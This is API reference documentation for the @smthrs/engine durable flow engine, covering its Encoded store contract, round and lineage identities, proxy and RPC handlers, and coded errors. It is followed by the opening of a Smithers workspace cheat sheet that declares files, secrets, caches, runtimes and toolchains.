| `key`              | `string`                                                  | The persisted step identity the attempt is recorded under.                                                                                                            |
| `tier`             | `Action.Tier`                                             | The action's durability tier, copied from the declaration.                                                                                                            |
| `nondeterministic` | `true \| undefined`                                       | Optional. Present when a cache put race may retain the first row without failing the run.                                                                             |
| `metadata`         | `unknown`                                                 | The action declaration's metadata, passed through unread.                                                                                                             |
| `snapshot`         | optional `Effect<unknown, never, FlowInstance \| Crypto>` | Supplied only when the driver implements `actionSnapshot`. Evaluate and persist the handle before actual execution, after journal lookup and in-flight deduplication. |

### `FlowEngine.Encoded`

- **Type:** `interface Encoded`
- **Since:** `0.1.0`
- **Related:** `FlowEngine.makeUnsafe`, `FlowEngine.ActionExecuteOptions`

The low-level flow engine contract a durable store implements. A store implements this interface, never the typed `FlowRuntime` port directly. The name is narrower than it looks: only some members carry encoded values. An implementation that encodes the rest produces a silently wrong system. Those members are typed `Flow.Result<unknown, unknown>`, and nothing decodes them on the way out.

The members and the value each one carries across the seam:

| Member                  | Optional | Value crossing the seam                                                                                                                    |
| ----------------------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------ |
| `register`              | no       | None.                                                                                                                                      |
| `execute`               | no       | A decoded `Flow.Result`, which the implementation decodes through `Flow.Result({ success: flow.successSchema, error: flow.errorSchema })`. |
| `poll`                  | no       | A decoded `Flow.Result`, decoded the same way.                                                                                             |
| `interrupt`             | no       | None.                                                                                                                                      |
| `interruptUnsafe`       | no       | None.                                                                                                                                      |
| `resume`                | no       | None.                                                                                                                                      |
| `resumeSignal`          | yes      | None.                                                                                                                                      |
| `actionExecute`         | no       | Encoded. `makeUnsafe` decodes it through the action's `exitSchemaPartial`.                                                                 |
| `actionReplayKey`       | yes      | None.                                                                                                                                      |
| `encodeEngineError`     | yes      | None.                                                                                                                                      |
| `actionRetryOrigin`     | yes      | None.                                                                                                                                      |
| `actionLatestAttempt`   | yes      | None.                                                                                                                                      |
| `actionSnapshot`        | yes      | None.                                                                                                                                      |
| `deferredResult`        | no       | Encoded. `makeUnsafe` decodes it through the deferred's `exitSchema`.                                                                      |
| `deferredDone`          | no       | Encoded. `makeUnsafe` encodes the exit before the call.                                                                                    |
| `deferredDoneIfWaiting` | yes      | Encoded, encoded before the call the same way.                                                                                             |
| `scheduleClock`         | no       | None.                                                                                                                                      |
| `nodeRecordBytes`       | yes      | None.                                                                                                                                      |
| `recordNode`            | yes      | None.                                                                                                                                      |

`executionId` on `execute` is caller-supplied identity. A repeated id joins the run that already owns it, which is what makes a retried submission idempotent. `round` on `execute` is required: `makeUnsafe` supplies round zero for a fresh execution and the advanced round after a handoff, with `previousExecutionId` naming the round it continues. `poll` answers `Option.none` for a known unsettled execution, and for an execution that belongs to a different flow declaration. Only an execution id no engine knows fails, with `FlowRuntime.FlowExecutionNotFound`. `interrupt`, `interruptUnsafe`, and `resume` treat an unknown execution id as a silent no-op.

`recordNode` takes the records a driven graph makes about itself: the plan it was built from, and every node it scheduled and settled. It is optional because a store that keeps no history has nothing to record and skips journal preflight; a recording store can refuse oversized topology before the walk starts. A store that implements it MUST address the entry by the `sourceId` the record carries, never a minted one: a resumed walk re-derives the same ids, and that is what makes a journal keyed by `(run, source, sequence)` hold one row per node across a resume instead of one per observation.

`nodeRecordBytes` measures the complete encoded UTF-8 journal envelope before the
interpreter pages the graph. It must reserve allocated sequence/time fields
deterministically, so a resume keeps exactly the same page identities. The
interpreter refuses a node that cannot fit alone before recording any page.

`actionReplayKey` chooses the key a dispatch replays under. It receives `derive(executionId, runScoped)`, the dispatch's key under the current encoding, and `legacy(executionId, runScoped)`, its keys under every older key encoding that differ from the current one, newest first and each once. A store answers a fork's copied attempt key, or an older encoding's key when this run recorded under it, so a record an earlier engine wrote replays instead of running again. Without it, every dispatch takes the current key.

`actionRetryOrigin` returns the persisted start time of the first surviving attempt for `key`, so a `RetryPolicy.expirationMs` bound survives park, resume, and process death. `Option.none()` means no attempt row survives, and the engine then falls back to the current clock and logs a warning. `actionLatestAttempt` returns the highest persisted attempt number for `key`, so the attempt counter resumes from the persisted sequence rather than from `1`.

`actionSnapshot` returns the earliest persisted pre-attempt handle for a compensable key. A present handle may itself be null or undefined. Keep it across unfinished attempts and process restarts. The associated `ActionExecuteOptions.snapshot` effect must run only for actual execution, never for a journal hit or joined dispatch.

### `FlowEngine.SuspendedResumeGaveUp`

- **Type:** `class SuspendedResumeGaveUp extends Schema.TaggedError<SuspendedResumeGaveUp>()("@smthrs/engine/SuspendedResumeGaveUp", { code, flowName, executionId, attempt, elapsedMs, reason, message })`
- **Since:** `1.0.0`

The refusal a suspended execution raises when it spends the caller's resume retry policy. `reason` is `"expired"` when only the elapsed-time bound closed the window, and `"exhausted"` when the attempt count ran out. `makeUnsafe` raises it as a defect through `Effect.die`.

### `FlowEngine.SnapshotBoundaryRequired`

- **Type:** `class SnapshotBoundaryRequired extends Schema.TaggedError<SnapshotBoundaryRequired>()("@smthrs/engine/SnapshotBoundaryRequired", { code, actionName, message })`
- **Since:** `1.0.0`
- **Related:** `FlowEngine.SnapshotBoundary`

The refusal a compensable action raises when it is admitted with no snapshot boundary in context. `makeUnsafe` raises it as a defect through `Effect.die`.

### `FlowEngine.FlowNotRegistered`

- **Type:** `class FlowNotRegistered extends Schema.TaggedError<FlowNotRegistered>()("@smthrs/engine/FlowNotRegistered", { code, flowName, message })`
- **Since:** `1.0.0`

The refusal raised when a flow operation names a declaration this engine has not registered. Both `layerMemory` on `execute` and `makeUnsafe` on an unresolvable handoff target raise it as a defect.

### `FlowEngine.ExecutionIdentityConflict`

- **Type:** `class ExecutionIdentityConflict extends Schema.TaggedError<ExecutionIdentityConflict>()("@smthrs/engine/ExecutionIdentityConflict", { code, executionId, field, expected, actual, status, message })`
- **Since:** `1.0.0`

The refusal raised when a caller reuses an execution id for different persisted run identity. `field` is `"flow"`, `"payload"`, `"lineage"`, `"round"`, or `"parent"`. Answering would attach the caller to a run or trampoline round it did not name. `layerMemory` raises it as a defect on `execute` and on a `deferredDone` addressed to the wrong flow; the durable driver also raises it when an existing run row disagrees with the requested flow, encoded payload, lineage, round, or predecessor.

### `FlowEngine.keyEncodings`

- **Type:** `readonly [3, 2, 1]`
- **Since:** `1.0.0`
- **Related:** `FlowEngine.KeyEncoding`, `FlowEngine.ActionKeyEncoding`

The encodings a keyed sealed action's key has been written in, newest first. A record is found again only under the key it was written with, so every earlier encoding stays derivable and a change to the derivation adds one at the front. `3` names itself in the key (`keyEncoding: 3`) and hashes the declaration's `Node.representationIdentity` version 2. `2` is the same key without the name, written from `effect@4.0.4` until 2026-10-21. `1` hashes identity version 1, what every key written under `effect@4.0.0-rc.115` hashed, `Schema.brand` included; it derives encoding 2's key for a declaration with no brand.

### `FlowEngine.KeyEncoding`

- **Type:** `3 | 2 | 1`
- **Since:** `1.0.0`

One encoding of `FlowEngine.keyEncodings`.

### `FlowEngine.ActionKeyEncoding`

- **Type:** `Context.Reference<KeyEncoding>`
- **Since:** `1.0.0`

The encoding new keys are written in; the newest by default. A host never sets it. A test sets an older one to write a journal the way an earlier engine did.

### `FlowEngine.makeInstance`

- **Signature:** `makeInstance(flow: Flow.Any, executionId: string): FlowRuntime.FlowInstance["Service"] & { readonly lineageId: JournalLineageId }`
- **Since:** `0.1.0`

Creates the initial `FlowInstance` state for one flow execution. A runtime calls it when it starts a flow run, or restarts one on resume. The state it returns is what suspension, interruption, and action coordination are tracked in. The instance's `lineageId` is the run's own root journal lineage, because a subflow is a separate run with a separate journal. It keeps its `JournalLineageId` brand, so it cannot pass for a trampoline root execution id. Action ordinals are counted per allocation scope, so a permuted fiber interleaving cannot renumber distinguishable dispatches across a replay.

### `FlowEngine.layerMemory`

- **Type:** `Layer.Layer<FlowRuntime.FlowRuntime>`
- **Since:** `0.1.0`
- **Related:** `FlowEngine.makeUnsafe`

The volatile in-memory implementation of the `FlowRuntime` port, for tests and local development where durability is not needed. It retains completed executions, action settlements, deferred results, and clocks until the layer scope closes, and it has no eviction option. It rebuilds a submitted payload through the flow's own payload schema constructor at admission and again on every re-drive: structs, arrays, and records the schema declares are copied, and values the schema declares opaque are shared by reference. Same-key in-flight actions share one settlement, so a concurrent duplicate dispatch waits instead of executing twice. Registrations of one flow tag stack, and the last still-open one serves.

### `FlowEngine.Lineage`

- **Type:** `namespace Lineage`
- **Since:** `0.1.0`
- **Related:** `FlowEngine.Round`

The journal lineage identity every durable record a run writes carries as `meta.lineageId`. A journal lineage id is a versioned encoded tuple of the run id and the node-id path from the run root. It is a different identity from the trampoline lineage `FlowEngine.Round` carries as `rootExecutionId`, which is a bare execution id. A value from one space is not an address in the other, and each space carries its own brand so the compiler refuses a swap.

#### `FlowEngine.Lineage.JournalLineageId`

- **Type:** `type JournalLineageId = string & { readonly [JournalLineageIdTypeId]: typeof JournalLineageIdTypeId }`
- **Since:** `1.0.0`

An injective journal address minted from one run and node path. `JournalLineageIdTypeId` is a declared unique symbol with no runtime value, so the brand exists only in the type.

#### `FlowEngine.Lineage.root`

- **Signature:** `root(runId: string): JournalLineageId`
- **Since:** `0.1.0`

Returns the lineage id of a run's root node. `FlowEngine.makeInstance` calls it for every instance it builds. No engine node contributes a path segment today, so the namespace exports no path constructor.

### `FlowEngine.makeUnsafe`

- **Signature:** `makeUnsafe(options: Encoded): FlowRuntime.FlowRuntime["Service"]`
- **Since:** `0.1.0`
- **Related:** `FlowEngine.Encoded`, `FlowEngine.layerMemory`

Builds a typed `FlowRuntime` service from a low-level encoded implementation. The name carries the `Unsafe` suffix because the implementation must persist, resume, and encode flow state correctly; nothing checks that it does.

The returned service follows a trampoline for the caller: one `execute` answers with the lineage's value, and each round keeps its own execution id and journal underneath. `maxRounds` belongs to the lineage originator, so a multi-flow handoff cannot reset the budget by naming a target with a different declaration. `execute` accepts an optional `suspendedRetryPolicy` and falls back to `RetryPolicy.defaultRetryPolicy`; that policy caps how long the caller keeps polling a suspended execution.

### `FlowEngine.Round`

- **Type:** `namespace Round`
- **Since:** `0.1.0`
- **Related:** `FlowEngine.Lineage`

The trampoline round identity one lineage of executions is chained by. Every round is its own execution with its own journal, and the lineage is the unit a UI, a budget, and time travel attach to. Round 0 is the execution the caller asked for, and its id is also the root execution id every later round derives from.

#### `FlowEngine.Round.RootExecutionId`

- **Type:** `type RootExecutionId = string & { readonly [RootExecutionIdTypeId]: typeof RootExecutionIdTypeId }`
- **Since:** `1.0.0`

Round zero's execution id, which names the trampoline lineage. `Round.initial` mints one from an execution id, and a store rehydrates one from the id it persisted. `RootExecutionIdTypeId` is a declared unique symbol with no runtime value, so the brand exists only in the type.

#### `FlowEngine.Round.Round`

- **Type:** `interface Round { readonly rootExecutionId: RootExecutionId; readonly ordinal: number }`
- **Since:** `0.1.0`

The position of one execution in its lineage: the root execution id the lineage derives from, and which round of it this is, counted from zero.

#### `FlowEngine.Round.InvalidRound`

- **Type:** `class InvalidRound extends Schema.TaggedError<InvalidRound>()("@smthrs/engine/InvalidRound", { code, message })`
- **Since:** `1.0.0`

The refusal raised for a malformed trampoline identity or resource bound. A `rootExecutionId` must be non-empty well-formed UTF-16, and an `ordinal` must be a non-negative safe integer.

#### `FlowEngine.Round.initial`

- **Signature:** `initial<Id extends string>(executionId: Id extends JournalLineageId ? never : Id): Round`
- **Since:** `0.1.0`

Returns the round a lineage starts at: ordinal zero, under the caller's execution id. A `JournalLineageId` argument does not compile, because a journal address is not an execution id. It throws `InvalidRound` synchronously when `executionId` is empty or ill-formed UTF-16, including a trailing unpaired high surrogate.

#### `FlowEngine.Round.executionId`

- **Signature:** `executionId(round: Round): Effect.Effect<string, InvalidRound, Crypto.Crypto>`
- **Since:** `0.1.0`

Returns `rootExecutionId` unchanged for ordinal zero after validation, so `executionId(initial(id))` returns `id`. For later rounds, derives the execution id from `(rootExecutionId, ordinal)` alone through the injected SHA-256. It is therefore the same id in every process and after every restart, which is what makes a handoff at-most-once. The preimage is `["flow-round/v2", rootExecutionId, ordinal]`, and it is part of the package's durable contract: a lineage opened under one release derives the same round ids under the next.

#### `FlowEngine.Round.next`

- **Signature:** `next(round: Round, options: { readonly flowName: string; readonly maxRounds: number \| undefined }): Effect.Effect<{ readonly round: Round; readonly executionId: string }, Flow.MaxRoundsExceeded \| InvalidRound, Crypto.Crypto>`
- **Since:** `0.1.0`

Advances a round and derives the execution id the next one runs under. The budget counts rounds, not handoffs: a lineage bounded at `n` may open ordinals `0` through `n - 1`, and the request for ordinal `n` fails with `Flow.MaxRoundsExceeded`. An absent `maxRounds` is unbounded. A `maxRounds` that is not a positive safe integer, and an ordinal already at `Number.MAX_SAFE_INTEGER`, fail with `InvalidRound`.

### `FlowEngine.SnapshotBoundaryOptions`

- **Type:** `interface SnapshotBoundaryOptions { readonly flow: Flow.Any; readonly executionId: string; readonly key: string; readonly attempt: number; readonly metadata: unknown }`
- **Since:** `0.1.0`
- **Related:** `FlowEngine.SnapshotBoundary`

The context a compensable action snapshot boundary receives for one dispatch.

### `FlowEngine.SnapshotBoundary`

- **Type:** `class SnapshotBoundary extends Context.Service<SnapshotBoundary, { readonly snapshot: (options: SnapshotBoundaryOptions) => Effect.Effect<unknown>; readonly restore: (snapshot: unknown, options: SnapshotBoundaryOptions) => Effect.Effect<void>; readonly diff: (snapshot: unknown, options: SnapshotBoundaryOptions) => Effect.Effect<unknown> }>()("@smthrs/engine/FlowEngine/SnapshotBoundary")`
- **Since:** `0.1.0`
- **Related:** `FlowEngine.SnapshotBoundaryRequired`

The minimal host snapshot boundary compensable actions execute against. The engine restores the earliest handle before a retry. With `actionSnapshot`, an unfinished first attempt also restores its persisted handle, and journal hits perform no boundary work. Without that hook, handles are process-local and replay still snapshots and diffs. `diff` runs in an ensuring finalizer for every captured attempt. A compensable action dispatched with this service absent dies with `SnapshotBoundaryRequired`.

## FlowProxy

### `FlowProxy.FlowProxyCollision`

- **Type:** `class FlowProxyCollision extends Schema.TaggedError<FlowProxyCollision>()("@smthrs/engine/FlowProxyCollision", { operation })`
- **Since:** `1.0.0`
- **Related:** `FlowProxy.assertNoCollisions`

The refusal thrown before proxy construction when two flow operations share one wire name. `code` is `"flow_proxy_collision"`, `name` is `"FlowProxyCollision"`, and `operation` is the duplicated name. The message template is `` `Flow proxy operation ${JSON.stringify(operation)} is not unique` ``.

### `FlowProxy.InvalidFlowTag`

- **Type:** `class InvalidFlowTag extends Schema.TaggedError<InvalidFlowTag>()("@smthrs/engine/InvalidFlowTag", { tag })`
- **Since:** `1.0.0`
- **Related:** `FlowProxy.toHttpApiGroup`

The refusal thrown before HTTP proxy construction when a flow tag is ill-formed UTF-16, so it has no route encoding. `code` is `"invalid_flow_tag"`, `name` is `"InvalidFlowTag"`, and `tag` is the offending tag. Only the HTTP path validates the tag, because only it encodes one into a URL segment.

### `FlowProxy.OperationAddresses`

- **Type:** `interface OperationAddresses { readonly execute: string; readonly discard: string; readonly resume: string }`
- **Since:** `1.0.0`

The three wire operation names one flow owns.

### `FlowProxy.operationAddresses`

- **Signature:** `operationAddresses(tag: string, prefix = ""): OperationAddresses`
- **Default:** `prefix` is `""`.
- **Since:** `1.0.0`

Derives the operation names shared by proxy definitions and server handlers. The names are `` `${prefix}${tag}` ``, `` `${prefix}${tag}Discard` ``, and `` `${prefix}${tag}Resume` ``. Every group builder and server layer in the package derives from this function, so the client and server sides cannot disagree on a name.

### `FlowProxy.assertNoCollisions`

- **Signature:** `assertNoCollisions(flows: ReadonlyArray<Flow.Any>, prefix = ""): void`
- **Default:** `prefix` is `""`.
- **Since:** `1.0.0`
- **Related:** `FlowProxy.FlowProxyCollision`

Refuses a flow set whose generated operation names are ambiguous. It throws `FlowProxyCollision` on the first duplicate, which includes a suffix collision such as a flow named `Review` beside one named `ReviewDiscard`. `toRpcGroup`, `toHttpApiGroup`, `layerHttpApi`, and `layerRpcHandlers` all call it before they build anything.

### `FlowProxy.toRpcGroup`

- **Signature:** `toRpcGroup<const Flows extends NonEmptyReadonlyArray<Flow.Any>, const Prefix extends string = "">(flows: Flows, options?: { readonly prefix?: Prefix \| undefined }): RpcGroup.RpcGroup<ConvertRpcs<Flows[number], Prefix>>`
- **Default:** `options.prefix` is `""`.
- **Since:** `0.1.0`
- **Related:** `FlowProxyServer.layerRpcHandlers`, `FlowProxy.ConvertRpcs`

Derives an `RpcGroup` from a list of flows, giving every flow execute, discard, and resume operations. The execute RPC carries the flow's `successSchema` and `errorSchema`; the discard and resume RPCs carry neither. Each RPC merges the flow's own annotations.

### `FlowProxy.ConvertRpcs`

- **Type:** ``type ConvertRpcs<Flows extends Flow.Any, Prefix extends string> = Flows extends Flow.Flow<infer _Name, infer _Payload, infer _Success, infer _Error, infer _Requires> ? Rpc.Rpc<`${Prefix}${_Name}`, ExecutePayload<_Payload>, _Success, _Error> | Rpc.Rpc<`${Prefix}${_Name}Discard`, ExecutePayload<_Payload>> | Rpc.Rpc<`${Prefix}${_Name}Resume`, typeof ResumePayload> : never``
- **Since:** `0.1.0`

The RPC definitions generated for one flow's execute, discard, and resume operations. The internal payload schemas require `executionId` to contain 1 to 4,096 well-formed UTF-16 code units; execute and discard also carry the flow payload.

### `FlowProxy.toHttpApiGroup`

- **Signature:** `toHttpApiGroup<const Name extends string, const Flows extends NonEmptyReadonlyArray<Flow.Any>>(name: Name, flows: Flows): HttpApiGroup.HttpApiGroup<Name, ConvertHttpApi<Flows[number]>>`
- **Since:** `0.1.0`
- **Related:** `FlowProxyServer.layerHttpApi`, `FlowProxy.ConvertHttpApi`

Derives an `HttpApiGroup` from a list of flows. Each flow gets three POST endpoints, at `/<encoded tag>`, `/<encoded tag>/discard`, and `/<encoded tag>/resume`. The tag encoding is the literal `flow-` followed by each UTF-16 code unit of the tag as four lowercase hex digits. One flow is therefore one URL-safe segment that preserves case, reserved characters, and Unicode normalization. This function takes no `prefix`, unlike `toRpcGroup`.

### `FlowProxy.ConvertHttpApi`

- **Type:** ``type ConvertHttpApi<Flows extends Flow.Any> = Flows extends Flow.Flow<infer _Name, infer _Payload, infer _Success, infer _Error, infer _Requires> ? HttpApiEndpoint.HttpApiEndpoint<_Name, "POST", `/${string}`, never, never, ExecutePayload<_Payload>, never, _Success, _Error> | HttpApiEndpoint.HttpApiEndpoint<`${_Name}Discard`, "POST", `/${string}/discard`, never, never, ExecutePayload<_Payload>> | HttpApiEndpoint.HttpApiEndpoint<`${_Name}Resume`, "POST", `/${string}/resume`, never, never, typeof ResumePayload> : never``
- **Since:** `0.1.0`

The HTTP endpoints generated for one flow's execute, discard, and resume operations. The path is typed as `` `/${string}` `` because the concrete segment is derived from the flow tag at run time.

## FlowProxyServer

### `FlowProxyServer.FlowHandlerDefect`

- **Type:** `class FlowHandlerDefect extends Schema.TaggedError<FlowHandlerDefect>()("@smthrs/engine/FlowHandlerDefect", { code, flowName, diagnostic, message })`
- **Since:** `1.0.0`

A defect leaving a proxy handler is replaced with this refusal. `code` is `"flow_handler_defect"`; `diagnostic` is bounded and redacted, including sensitive fields with object or array values. The guard also covers synchronous identity callback failures.

### `FlowProxyServer.ExecutionIdScope`

- **Type:** `interface ExecutionIdScope { (input: { readonly flow: Flow.Any; readonly operation: "execute" \| "discard" \| "resume"; readonly clientValue: string \| undefined; readonly payload: unknown }): string \| undefined }`
- **Since:** `1.0.0`

The hook that rewrites a caller-supplied execution id before it reaches the engine, so a multi-tenant server namespaces client identity in one place. The server calls it once inside each execute, discard, or resume handler. Execute and discard inputs include the decoded flow payload; resume inputs use `undefined`, because a resume request carries only an execution id. Returning `undefined` for execute or discard selects the flow's idempotency key or ambient execution-id source. Returning `undefined` for resume refuses the request with a `Flow.ExecutionIdRequired` defect, because passing the client value through would let a client resume across the namespace the scope confines it to. Without the option, every client value passes through unchanged. An implementation must be pure, must return for every input, and must return a string for every resume, and it receives no request-scoped service.

### `FlowProxyServer.layerHttpApi`

- **Signature:** `layerHttpApi<ApiId extends string, Groups extends HttpApiGroup.Constraint, Identifier extends HttpApiGroup.Identifier<Groups>, const Flows extends NonEmptyReadonlyArray<Flow.Any>>(api: HttpApi.HttpApi<ApiId, Groups>, identifier: Identifier, flows: Flows, options?: { readonly executionId?: ExecutionIdScope }): Layer.Layer<HttpApiGroup.Service<ApiId, Identifier>, never, FlowRuntime.FlowRuntime \| Flow.Requirements<Flows[number]> \| Flow.RequirementsHandler<Flows[number]>>`
- **Since:** `0.1.0`
- **Related:** `FlowProxy.toHttpApiGroup`, `FlowProxyServer.ExecutionIdScope`

Creates handlers for a flow HTTP API group, wiring execute, discard, and resume endpoints to the supplied flows. The layer drives the served bodies, so it requires what those bodies require: `Flow.Requirements` of every flow, on top of the schema services `Flow.RequirementsHandler` names. A forgotten `Action.toLayer` is a compile error here. Each handler logs a defect from a served body through `Effect.logError`, annotated with `module: "FlowProxyServer"` and the wire operation name.

### `FlowProxyServer.layerRpcHandlers`

- **Signature:** `layerRpcHandlers<const Flows extends NonEmptyReadonlyArray<Flow.Any>, const Prefix extends string = "">(flows: Flows, options?: { readonly prefix?: Prefix; readonly executionId?: ExecutionIdScope }): Layer.Layer<RpcHandlers<Flows[number], Prefix>, never, FlowRuntime.FlowRuntime \| Flow.Requirements<Flows[number]> \| Flow.RequirementsHandler<Flows[number]>>`
- **Default:** `options.prefix` is `""`.
- **Since:** `0.1.0`
- **Related:** `FlowProxy.toRpcGroup`, `FlowProxyServer.ExecutionIdScope`

Creates RPC handlers for the supplied flows, wiring execute, discard, and resume RPCs to flow operations. Pass the same `prefix` given to `FlowProxy.toRpcGroup`, because the handler keys are derived from it. The requirements and the defect logging match `layerHttpApi`.

### `FlowProxyServer.RpcHandlers`

- **Type:** ``type RpcHandlers<Flows extends Flow.Any, Prefix extends string> = Flows extends Flow.Flow<infer _Name, infer _Payload, infer _Success, infer _Error, infer _Requires> ? Rpc.Handler<`${Prefix}${_Name}`> | Rpc.Handler<`${Prefix}${_Name}Discard`> | Rpc.Handler<`${Prefix}${_Name}Resume`> : never``
- **Since:** `0.1.0`

The union of RPC handler services required to serve one flow's generated execute, discard, and resume RPCs.

## Errors

The package defines eight coded refusals, six as `Schema.TaggedError` values raised as defects and two as `Error` subclasses thrown before proxy construction:

| Tag                                        | Raised when                                                                                                                           | Fields                                                                         |
| ------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------ |
| `@smthrs/engine/SuspendedResumeGaveUp`     | A caller polling a suspended execution spends its `suspendedRetryPolicy`, by elapsed time or by attempt count.                        | `code`, `flowName`, `executionId`, `attempt`, `elapsedMs`, `reason`, `message` |
| `@smthrs/engine/SnapshotBoundaryRequired`  | A compensable action dispatches with no `SnapshotBoundary` in context.                                                                | `code`, `actionName`, `message`                                                |
| `@smthrs/engine/FlowNotRegistered`         | A flow executes, or a handoff names a target, that this engine holds no registration for.                                             | `code`, `flowName`, `message`                                                  |
| `@smthrs/engine/ExecutionIdentityConflict` | A reused execution id names a different flow declaration, arrives with a different payload, or completes a deferred for another flow. | `code`, `executionId`, `field`, `expected`, `actual`, `message`                |
| `@smthrs/engine/InvalidRound`              | A round carries a malformed lineage id or ordinal, or `Round.next` receives a `maxRounds` that is not a positive safe integer.        | `code`, `message`                                                              |
| `@smthrs/engine/FlowHandlerDefect`         | A proxy handler dies; the raw defect is replaced by a bounded redacted diagnostic.                                                    | `code`, `flowName`, `diagnostic`, `message`                                    |
| `FlowProxyCollision`                       | Two operations derived from a flow set share one wire name.                                                                           | `code`, `operation`, `message`                                                 |
| `InvalidFlowTag`                           | `FlowProxy.toHttpApiGroup` encodes a route for a flow tag that is not well-formed UTF-16.                                             | `code`, `tag`, `message`                                                       |

The six tagged errors declare `code` as a `Schema.Literal` with a constructor default, and the two `Error` subclasses declare it as a readonly field. The codes, in table order, are `suspended_resume_gave_up`, `snapshot_boundary_required`, `flow_not_registered`, `execution_identity_conflict`, `invalid_round`, `flow_handler_defect`, `flow_proxy_collision`, and `invalid_flow_tag`. The engine also propagates refusals defined in `@smthrs/flow`, including round-budget, action-identity, irreversible-retry, missing-execution-id, cancellation, and execution-cycle errors.

## Example

This program runs one flow on the in-memory engine, with the action implementation and the interpreter layered under it:

```ts
import * as NodeCrypto from "@effect/platform-node/NodeCrypto"
import { FlowEngine } from "@smthrs/engine"
import { Action, Flow, Interpreter } from "@smthrs/flow"
import * as Effect from "effect/Effect"
import * as Layer from "effect/Layer"
import * as Schema from "effect/Schema"

const Compile = Action.make("deploy/Compile", {
  payload: { target: Schema.String },
  success: Schema.String,
  tier: "sealed"
})

const Build = Flow.make("deploy/Build", {
  payload: { target: Schema.String },
  success: Schema.String,
  body: (payload) => Compile.call(payload)
})

// layerMemory is the volatile implementation of the FlowRuntime port.
const layer = Layer.mergeAll(
  Compile.toLayer(({ target }) => Effect.succeed(`${target}.js`)),
  Interpreter.layer(Build)
).pipe(
  Layer.provideMerge(Action.layerImplementations),
  Layer.provideMerge(FlowEngine.layerMemory),
  Layer.provideMerge(NodeCrypto.layer)
)

// A repeated executionId joins the run that already owns it.
const program: Effect.Effect<string> = Build.execute(
  { target: "deploy/status" },
  { executionId: "deploy-status-1" }
).pipe(Effect.provide(layer), Effect.orDie)
```

## See also

- [API reference](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/engine/docs/api.md) covers the same exports grouped by purpose, with the design notes each group needs.
- [`@smthrs/flow`](/docs/reference/api/flow/) declares `Flow`, `Action`, `RetryPolicy`, and the `FlowRuntime` port this package implements.
- [`@smthrs/engine-store`](/docs/reference/api/engine-store/) supplies the durable implementation of the `Encoded` seam.
- [Durable execution](/docs/concepts/durable-execution/) and [Retries](/docs/concepts/retries/) on smithers.sh own the cross-package journal, replay, and attempt-numbering model.

---

# Smithers API cheat sheet
https://smithers.sh/docs/reference/api/cheat-sheet/

{/* Generated from packages/smithers/build/targets/docs/reference/cheat-sheet.md. Edit the source, then run `pnpm exec smithers-build target //apps/site:referenceIngest --write`. */}

> **Source:** [implementation](https://github.com/smithersai/smithers/tree/main/packages/smithers/build/targets/src) · [reference source](https://github.com/smithersai/smithers/blob/main/packages/smithers/build/targets/docs/reference/cheat-sheet.md)

This is the consumer-facing `Smithers.*` surface used in `WORKSPACE.ts` and
`PACKAGE.ts`. Implementation actions, layers, schemas, parsers, guards, and
error classes are intentionally omitted.

## Workspace declarations

```ts
// .smithers/WORKSPACE.ts
import { Smithers as S } from "@smthrs/targets"

// Files, globs, changes, and workspace manifests
const packageJson = S.file("//package.json")
const lockfile = S.file("//pnpm-lock.yaml")
const workspaceYaml = S.file("//pnpm-workspace.yaml")
const sources = S.glob("//packages/*/src/**/*.ts", { exclude: ["**/*.test.ts"] })
const changedSources = S.gitDiff({
  base: "origin/main",
  paths: ["packages/**"],
  added: ["packages/**/*.ts"]
})
const workspacePackages = S.pnpmWorkspace("//pnpm-workspace.yaml")

// Secrets and origin-scoped HTTP secrets
const cacheRead = S.Secret("SMITHERS_CACHE_READ_TOKEN")
const cacheWrite = S.Secret("SMITHERS_CACHE_WRITE_TOKEN", {
  fallback: "development-only-value"
})
const githubToken = S.HttpSecret(S.Secret("GITHUB_TOKEN"), [
  "https://api.github.com",
  "https://uploads.github.com"
])

// Local and remote caches
const cache = S.Cache({
  directory: ".flows",
  remote: S.RemoteCache.make({
    endpoint: "https://cache.example.com",
    read: cacheRead,
    write: cacheWrite
  })
})

// Smithers Cloud (coming soon)
const smithersCloudCache = S.Cache({
  directory: ".flows",
  remote: S.RemoteCache.smithersCloud({
    repo: "acme/widgets",
    write: S.Secret("SMITHERS_CACHE_TOKEN")
  })
})

// Runtimes and their executables
const node = S.Runtime.Node({ version: ">=22.19.0" })
const nodeFromManifest = S.Runtime.Node({ manifest: packageJson })
const bun = S.Runtime.Bun({ version: ">=1.4.0" })
const runtimeExecutable = S.Runtime.bin
const oneOffNpxExecutable = S.Runtime.npx("react-scan@latest")

// Package managers and their executables
const pnpm = S.PackageManager.Pnpm({
  manifest: packageJson,
  lockfile,
  workspaces: workspaceYaml,
  version: "11.21.0",
  audit: { severity: "critical", recursive: true }
})
const yarn = S.PackageManager.Yarn({
  manifest: packageJson,
  lockfile: S.file("//yarn.lock"),
  version: "4.9.2"
})
const bunPackages = S.PackageManager.BunPackages({ runtime: bun })
const packageManagerExecutable = S.PackageManager.bin

// Installed node_modules tree
const nodeModules = S.Npm.NodeModules({
  packageJson,
  workspaces: workspaceYaml
})

// Host executables
const host = S.Host({ bins: ["git", "jj", "docker", "cargo", "go", "bash"] })
const hostGit = S.Host.bin("git")
const hostDocker = S.Host.bin("docker")

// Workspace flags become references such as flags.production
const flags = S.Flags({
  production: "--production",
  verbose: "--verbose",
  updateSnapshots: "--update"
})
const productionFlag = flags.production

// Mise and programs managed by Mise
const mise = S.Mise({ config: S.file("//.mise.toml") })
const miseZig = S.Mise.bin("zig")

// Nix environments
const nixFromFlake = S.Nix.Environment({ flake: S.file("//flake.nix") })
const nixFromFile = S.Nix.Environment({ file: S.file("//.smithers/environment.nix") })
const nixDevShell = S.Nix.DevShell({
  flake: S.file("//flake.nix"),
  lock: S.file("//flake.lock")
})
const nixNode = S.Nix.bin("node")

// Rust toolchains
const rust = S.Rust.Toolchain({
  workspace: S.file("//Cargo.toml"),
  toolchain: S.file("//rust-toolchain.toml"),
  lockfile: S.file("//Cargo.lock")
})
const rustByChannel = S.Rust.Toolchain({
  workspace: S.file("//Cargo.toml"),
  channel: "1.91"
})
const pinnedRust = S.Rust.Pinned({
  pin: S.file("//rust-toolchain.toml")
})

// Foundry and Go toolchains
const foundry = S.Foundry.Toolchain({
  config: S.file("//foundry.toml"),
  versions: mise
})
const go = S.Go.Toolchain({
  mod: S.file("//go.mod"),
  sum: S.file("//go.sum"),
  versions: mise,
  cgo: false,
  experiments: ["boringcrypto"]
})
const goExecutable = S.Go.bin
